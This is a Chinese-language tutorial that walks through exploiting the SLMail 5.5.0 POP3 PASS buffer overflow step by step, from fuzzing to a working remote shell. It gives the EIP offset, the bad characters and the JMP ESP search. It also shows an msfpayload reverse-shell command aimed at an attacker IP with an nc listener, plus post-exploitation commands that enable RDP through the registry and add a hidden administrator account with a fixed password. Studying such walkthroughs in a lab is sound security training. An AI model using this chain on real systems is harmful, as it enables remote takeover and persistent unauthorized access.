企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
**Windows缓冲区溢出** ————————— 程序的漏洞从哪里来? 罪恶的根源:变量 数据与代码界限不清 产生漏洞原理——应用程序对用户的输入没有做严格检查过滤 **缓冲区溢出** ————— 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误 导致缓冲区被"撑爆",从而覆盖了相邻区域的数据。 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等。 **如何发现漏洞?** ————————————— 源码审计 逆向工程 模糊测试 向程序堆栈半随机的数据,根据内存变化判断溢出 数据生成器:生成随机、半随机数据 测试工具:识别溢出漏洞(动态调试——OD、IDA) **Windows缓冲区溢出——FUZZER** ————————————————————————— 安装三个软件 1.SLMail 5.5.0 2.Immunity Debugger 3.mona.py (将mona脚本放到ImmunityDebugger\PyCommands目录下) 链接:https://pan.baidu.com/s/1JoMrW9ZymD3ej1GvIE5geg 密码:hz53 win7&win8等系统有这些安全机制不能进行缓冲区溢出 DEP:阻止代码从数据页被执行 ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化 * * * * * POP3 PASS 命令存在缓冲区溢出漏洞 无需身份验证实现远程代码执行 用py写几个脚本: 1.py——测试连接mail 2.py——测试向mail发送数据 3.py——发送唯一字符串 4.py——查找精确溢出的4个字节 5.py——找出坏字符 6.py——重发buffer win.py——发shellcode 链接: https://pan.baidu.com/s/1IjIqL87u1-xRUcso2KGgqg 密码: ducr ___________________________ **思路: ——** **一、测试1.py是否可连接mail服务** > 用Immunity Debugger去Attach开启的SLMail并F9跑起来 > 用2.py测试 PASS 命令接收到大量数据时是否会溢出 EIP 寄存器存放下一条指令的地址 **二、2700个字符实现EIP 寄存器溢出** > 重启pop3服务(每次服务被打死,都要重启) > 重新打开imdebug运行smail(别忘记F9让程序跑起来) 在kali下创建唯一字符串: ~~~ cd /usr/share/metasploit-framework/tools/exploit ./pattern_create.rb -l 2700 ~~~ > 将生成的唯一字符串赋值为3.py的buffer的内容 > 运行3.py,观察EIP寄存器,数字为39694438(这是16进制的ASCII码) **三、找到精确溢出的4个字节** 再次打开kali: ~~~ cd /usr/share/metasploit-framework/tools/exploit ./pattern_offset.rb -q 39694438 ~~~ > 结果是2606,即从第2606个开始,就是打入EIP寄存器的字符的位置 > 因此将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间 > 程序读取EIP 寄存器数值,将跳转到 shellcode 代码段并执行 **四、寻找可存放shellcode的内存空间** > 运行4.py验证(记得重启服务),EIP寄存器放入了四个大写字母B > 再看一下ESP里面的内容,那里放入了我们跟在4个B后面的20个C > 这时只要我们在eip里面放入esp的地址,再在esp内放入我们的shellcode,那么不就可以拿到系统权限了? > 当然,我们得先来判断esp有多大,够不够放下我们的shellcode? > 修改C的数量(3500-2606-4),再次执行4.py > Follow in dump进ESP的地址,用C的最后出现地址减去C最初出现的地址 > 得到10进制结果为416,足够存下一个最简单的shellcode(一般需要300字节左右) **五、找出坏字符** > 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途 > 返回地址、 Shellcode、 buffer中都不能出现坏字符 > null byte (0x00) 空字符,用于终止字符串的拷贝操作 > return (0x0D) 回车操作,表示POP3 PASS 命令输入完成 > 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符 > 运行5.py找出坏字符,结果:0A、0D、00为坏字符 **六、重定向数据流** > 用 ESP 的地址替换 EIP 的值 > 但是 ESP 地址变化,硬编码不可行 > SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定 **变通思路** • 在内存中寻找地址固定的系统模块 • 在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode • mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块 • 寻找无DEP、 ALSR保护的内存地址 • 内存地址不包含坏字符 • EIP——>系统模块——>ESP(思路流程) **具体步骤:** > 1、!mona modules //用mona.py查看模块运行情况 > 2、rebase(操作系统重启以后是否发生变化,如变化,则为true,否则为false)这里寻找false的 > 3、safeseh aslr nxcompat 是操作系统的安全机制,都选false > 4、OS dll表示每个操作系统都有的这里都选为TRUE > 5、!mona find -s "jmp esp" -m 模块_name.dll (这一步先不能执行) //寻找有esp跳转的模块 > 6、用kali上的工具将输入的汇编语言转换成机器指令 > cd /usr/share/metasploit-framework/tools/exploit > ./nasm_shell.rb > nasm > jmp esp > 得到结果为FFE4 > 7、!mona find -s "\xff\xe4" -m slmfc.dll > 8、找到后双击进入,切换一下显示视图,在FFE4处下断点 > 9、用我们的6.py重发buffer (地址反转,高字节存低地址,低字节存高地址) > 10、EIP被指定为我们写的地址,可以F7单步跟一下 > 可以发现下一步要执行的地址就是我们ESP寄存器的地址 > 证明通过系统模块跳转到esp寄存器的想法实现了 **七、写shellcode** 还是用kali帮忙,需要去掉坏字符 ~~~ cd /usr/share/framework2/ ./msfpayload win32_reverse LHOST=攻击者IP LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" ~~~ 然后将shellcode写入我们的win.py buffer里面增加了\x90,是为了防止esp执行的时候把shellcode的前面几个字符忽略掉 用nc侦听我们的443端口 `nc -vlp 443` 成功获取shell **八、还可以开3389远程桌面** 修改注册表: ~~~ echo Windows Registry Editor Version 5.00>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg ~~~ 新增用户 `net user wintry wintry.123 /expires:never /active:yes /add` 添加到管理组 `net localgroup Administrators wintry /add` 远程连接 `rdesktop 192.168.1.112`